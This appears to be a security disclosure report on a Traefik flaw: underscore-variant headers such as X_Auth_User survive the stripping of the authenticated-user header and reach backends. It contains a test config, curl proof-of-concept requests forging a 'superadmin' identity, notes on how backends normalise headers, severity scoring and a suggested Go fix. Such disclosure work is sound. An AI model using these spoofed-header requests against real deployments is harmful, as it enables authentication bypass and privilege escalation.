Details
# traefik/dynamic.yml — canonical headerField, recommended operator config
http:
routers:
protected:
rule: "PathPrefix(`/`)"
service: echo
middlewares: [basic-auth]
services:
echo:
loadBalancer:
servers: [{url: "http://echo:8888"}]
middlewares:
basic-auth:
basicAuth:
users:
- 'alice:$2b$05$FhDfYidZdDPuQjovYqcTAe22wHpQ/cILC7Tr2yAD6vLlvZh/Q45PC' # alice:secret123
headerField: "X-Auth-User"
docker compose up -d.
Test 1 (control — CVE-2026-33433 fix works for canonical case)
$ curl -s -u alice:secret123 -H "X-Auth-User: superadmin" http://localhost:8080/
{
...
"x-auth-user": "alice",
...
}
The attacker's canonical X-Auth-User: superadmin was correctly stripped by Traefik's Del; the backend receives only Traefik's authenticated-user writeback alice.
Test 2 (HT-1A bypass — underscore variant survives)
$ curl -s -u alice:secret123 -H "X_Auth_User: superadmin" http://localhost:8080/
{
...
"x-auth-user": "alice",
"x_auth_user": "superadmin",
...
}
The underscore-variant x_auth_user: superadmin reached the backend intact, despite the Del("X-Auth-User") having executed. The backend sees both forms.
Test 3 (double-send — same result)
$ curl -s -u alice:secret123 \
-H "X-Auth-User: superadmin" \
-H "X_Auth_User: superadmin" \
http://localhost:8080/
{
...
"x-auth-user": "alice", # Traefik's writeback
"x_auth_user": "superadmin", # attacker's underscore — survived Del
...
}
The canonical attacker header is stripped (Test 1 behavior). The underscore variant is forwarded.
Backend impact
The PoC's echo backend (mendhak/http-https-echo, Node.js) preserves both forms with the lowercase normalization Node.js applies. Application code reading req.headers["x-auth-user"] sees alice. Application code reading req.headers["x_auth_user"] sees superadmin.
For backends that normalize _ ↔ - equivalently — meaning the attacker's value wins:
- CGI / WSGI / PHP `$_SERVER` (RFC 3875 §4.1.18 — header name uppercased with
-replaced by_): bothX-Auth-UserandX_Auth_Usermap toHTTP_X_AUTH_USER. The last-set wins per the WSGI server's iteration order; many servers (gunicorn, uwsgi without--disable-logging, waitress) preserve both. Note: Apache + mod_php with defaultHttpProtocolOptions Strictfilters underscore-headers from$_SERVER(this PoC's PHP backend test demonstrated the filter); Apache + mod_python, Apache + mod_wsgi without the strict mode, nginx + uwsgi, nginx + gunicorn, nginx + FastCGI, and standalone WSGI servers do NOT filter. - nginx with `underscores_in_headers on` (https://nginx.org/en/docs/http/ngx_http_core_module.html#underscores_in_headers): preserves underscore-variant headers and forwards them to upstream as separate values. Upstream application logic that does case-insensitive + underscore-insensitive matching (common pattern in security-sensitive code) merges them.
- Tomcat / Java EE servlet containers:
HttpServletRequest.getHeader(name)is case-insensitive; underscore handling is container-specific. Many normalize. - Application middleware (WAFs, log aggregators, security gateways, identity-aware proxies) that normalize header names before applying security policy: both forms collapse to the same authorization decision input.
Severity
I propose HIGH CVSS 7.5 for the BasicAuth / DigestAuth case and CRITICAL CVSS 9.1 for the ForwardAuth authResponseHeaders case (the latter requires no credentials).
CVSS 3.1 vector (BasicAuth / DigestAuth): AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N=7.5 — one step above CVE-2026-33433 (which the maintainer scored MEDIUM 5.1 because it required misconfigured non-canonical headerField). HT-1A works against the canonical / recommended headerField configuration, broader operational scope.
CVSS 3.1 vector (ForwardAuth `authResponseHeaders`): AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N=9.1 — parallel to CVE-2026-39858 (HIGH 7.5) but achieves spoofing without credentials because the authResponseHeaders mechanism trusts headers exclusively from the auth server and the underscore variant defeats that trust boundary.
CWEs:
- CWE-290 (Authentication Bypass by Spoofing)
- CWE-178 (Improper Handling of Case Sensitivity) — analogous to CVE-2026-29054
- CWE-345 (Insufficient Verification of Data Authenticity) — same as CVE-2026-35051
Suggested fix
Two equivalent approaches:
1. Extend `Header.Del` to handle underscore variants at the four call sites. Replace:
req.Header.Del(b.headerField)
req.Header[b.headerField] = []string{user}
with:
canonical := http.CanonicalHeaderKey(b.headerField)
// Strip canonical AND underscore-variant of the canonical key.
for key := range req.Header {
if key == canonical || strings.EqualFold(strings.ReplaceAll(key, "_", "-"), canonical) {
delete(req.Header, key)
}
}
req.Header.Set(canonical, user) // canonical-key write
This pairs the headerField primitive with the same _ ↔ - equivalence that isManagedXHeader enforces for X-Forwarded-*.
2. Generalize the existing `isManagedXHeader` primitive into a stripHeaderAndVariants(headers http.Header, name string) helper in the forwardedheaders package and call it from basic_auth.go, digest_auth.go, forward.go, and snippet.go. Reusing the existing gold-standard primitive is the cleanest fix and minimizes future drift.
Either approach should also resolve the // TODO Deprecated we should add the header with canonical key. debt at basic_auth.go:102 and digest_auth.go:100 by writing to the canonical key (Header.Set(canonical, user)) instead of the literal b.headerField.
Why this is a Pattern-8 sibling, not a new CVE class
The combination of:
- CVE-2026-33433's fix scope (case-canonicalization for
headerField) - CVE-2026-39858's fix scope (underscore-variant for
XHeadersSet) - The defective primitive remaining at HEAD (the
Del+ literal-write pair at four call sites)
establishes that the maintainer accepts the threat model and has architectural primitives to fix it — but did not cross the two cohorts. The "primitive depth-audit" of the CVE-2026-33433 fix (reading the actual Header.Del implementation against the documented threat model and Go's canonicalization semantics) reveals the gap.
I confirmed there is no public PoC mentioning underscore-variant siblings of CVE-2026-33433 (WebSearched 2026-05-23). The fix-flurry from the April 2026 security release batch addressed the X-Forwarded family but not the headerField family.
Credit
Matteo Panzeri (GitHub matte1782). CVE credit requested.
AI-assistance disclosure
Static analysis, hypothesis writing, and hostile-review confirmation were assisted by Anthropic Claude (Opus 4.7). Live PoC reproduction, code-citation verification, and submission decision were made by the human author.